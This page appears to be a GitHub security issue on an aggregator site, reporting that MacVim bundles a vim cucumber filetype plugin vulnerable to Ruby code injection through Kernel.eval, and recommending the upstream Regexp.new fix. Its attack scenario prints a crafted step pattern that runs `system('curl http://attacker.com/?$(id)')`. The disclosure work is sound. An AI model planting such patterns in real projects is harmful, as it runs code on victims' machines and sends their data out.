macvim-dev / macvim-dev/macvim

[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)

オープン
#1,654 コメント 0 件 リアクション 0 件 担当者 0 名 GitHub で見る

まだ誰も着手していません。

主要言語
Vim Script
スター
7.9k
フォーク
691
PR マージ指標
30日以内にマージされた PR はありません

説明

[Security] MacVim affected by GHSA-4473-94jm-w5x9 — cucumber filetype plugin Ruby code injection via crafted step patterns (vim < 9.2.0496)

Summary

MacVim bundles the vim runtime at version 9.2 (patches 1-321 in the current build), which is
below the patched version 9.2.0496 that fixes a code injection vulnerability in the cucumber
filetype plugin's s:stepmatch() function. MacVim supports Ruby (+ruby), making it
susceptible to this attack.

Vulnerability Details

  • GHSA: GHSA-4473-94jm-w5x9
  • Upstream fix: vim 9.2.0496 (commit a65a52d684bc58535ad28a4ae824d22e76399934)
  • Affected code: runtime/ftplugin/cucumber.vims:stepmatch() function
  • Vulnerability type: CWE-94 — Improper Control of Generation of Code (Code Injection)

Root Cause

In s:stepmatch(), when Vimscript's built-in pattern matching fails, the function falls back
to using Ruby's Kernel.eval() to evaluate a regex constructed from an attacker-controlled
pattern:

" runtime/ftplugin/cucumber.vim lines 98-99 (macvim r183)
if has("ruby") && pattern !~ '\\\@<!#{'
  ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")

The pattern variable is derived from step-definition strings in .rb files in the
project (via s:allsteps()). If a step definition file contains a pattern like:

/) + system('touch /tmp/pwned') + (/

then Kernel.eval('/'+pattern+'/') becomes:

Kernel.eval('//) + system('touch /tmp/pwned') + (//') 

The rescue SyntaxError guard only prevents a crash; it does not prevent execution of valid
Ruby expressions. An attacker can craft patterns that both execute arbitrary Ruby and are
syntactically valid.

The !~ '\\\@<!#{' check only guards against Ruby string interpolation (#{...}) and does
not protect against regex literal injection.

Attack Scenario
  1. An attacker places a malicious .rb step-definitions file in the project's
    features/step_definitions/ directory with a crafted step pattern:
    Given(/\/) + system('curl http://attacker.com/?$(id)') + (\// ) do
    end
    
  2. The victim opens a .feature file in MacVim (which has +ruby) and uses the
    [d or ]d step-jump mappings that call s:steps()s:stepmatch().
  3. Kernel.eval executes the injected Ruby expression, running system() with
    arbitrary shell commands.

Affected MacVim Code

" cucumber.vim line 99 (macvim r183)
ruby VIM.command("return #{if (begin; Kernel.eval('/'+VIM.evaluate('pattern')+'/'); rescue SyntaxError; end) === VIM.evaluate('a:target') then 1 else 0 end}")

Affected MacVim Version

MacVim r183 (vim 9.2 patches 1-321) — current HEAD as of 2026-05-18.

The fix commit a65a52d684bc58535ad28a4ae824d22e76399934 from vim/vim is not present
in the macvim-dev/macvim repository.

Suggested Fix

Merge or cherry-pick vim/vim patches up to at least 9.2.0496.

The fix replaces Kernel.eval('/'+pattern+'/') with Regexp.new(pattern), which creates a
regex object directly from the string without evaluating arbitrary Ruby code:

# Fixed (vim 9.2.0496):
ruby VIM.command("return #{if (begin; Regexp.new(VIM.evaluate('pattern')); rescue RegexpError; end) === VIM.evaluate('a:target') then 1 else 0 end}")

Regexp.new() only constructs a regular expression; it cannot execute shell commands or
arbitrary Ruby expressions even if the pattern contains injection attempts.

References

コントリビューションガイド

コントリビューションガイドを開く

はじめの一歩

  1. issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
  2. 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
  3. リポジトリをフォークし、ブランチを切って変更します。
  4. issue 番号を参照したプルリクエストを送ります。

調査の方向性

まず runtime/ftplugin/cucumber.vim を調査し、s:stepmatch() の実装を upstream Vim のコミット a65a52d684bc58535ad28a4ae824d22e76399934 と比較します。バンドルされている runtime を更新して 9.2.0496 の修正を含め、その後、脆弱な Kernel.eval() のパスが置き換えられ、影響を受ける runtime バージョンが最新であることを確認します。

索引モデルが issue の本文から書いたものです。

評価

技術スタック
ruby, vim
領域
desktop-dev, security
issue の種類
バグ
難易度
3/5
見積もり時間
1〜2日
活発さ
静か
明瞭さ
明確に書かれている
初心者へのやさしさ
68/100

新しい issue をメールで受け取る

初心者向けの GitHub issue を短くまとめたダイジェスト。